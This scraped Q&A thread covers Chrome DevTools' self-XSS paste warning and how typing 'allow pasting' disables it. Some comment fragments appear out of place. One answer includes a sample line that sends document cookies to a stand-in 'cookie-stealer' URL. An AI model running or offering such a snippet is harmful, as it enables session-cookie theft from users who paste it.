In recent versions of Google Chrome, I've encountered a highly frustrating issue where pasting into the developer console is disabled. This is incredibly inconvenient as I rely on the developer console daily. I may have to consider switching browsers, which I'd rather not do.
Update 2024
You can disable it by typing allow pasting
in the dev console.
What is it?
Ostensibly, it's this experimental feature in DevTools:
If you are a new DevTools user and you attempt to paste code, the Sources panel now shows you the Do you trust this code? dialog and the Console now displays a similar warning. Paste only the code that you understand and have reviewed yourself. To paste, type "allow pasting" when prompted. Once pasting has been allowed once, the warning will never be shown again.
Apparently this was proposed back in 2014.
How do I turn it on/off?
Open DevTools > Settings (top-right corner) > Experiments > Toggle Show warning about Self-XSS when pasting code
....however in Chrome 120 (December 2023) I'm able to paste self-0wning code into the console with no warnings or messages, curious.
I'm curious if anyone else gets a message - try copying+pasting the below script.
fetch( 'https://example.com/cookie-stealer?' + document.cookies )
Since 2024, Chrome has removed the toggle which previously allowed the disabling of the paste-protection. Now you can disable it by typing in allow pasting
in the dev console.
Ref: https://rjroopal.medium.com/stay-secure-with-chromes-new-paste-protection-3f80c82f9dcf
The simplest way is this
Well, there is a new convention that Chrome is following these days where it has removed the option to disable it traditionally available.
Whenever you find Don’t paste code into the DevTools Console that you don’t understand or haven’t reviewed yourself...
just type into the console allow pasting
(press Enter) and then you should be able to paste the code.
;)
executeScript
s (I'm using node) throw an error, javascript error: Cannot set properties of null (setting 'value')
. Too fragile a kludge to use in unit test code, product owner will never go for it. Thanks tho, apprectd. –
Hewes © 2022 - 2024 — McMap. All rights reserved.
paste
in the search box at the top and it'll show you the relevant experiment. – Codie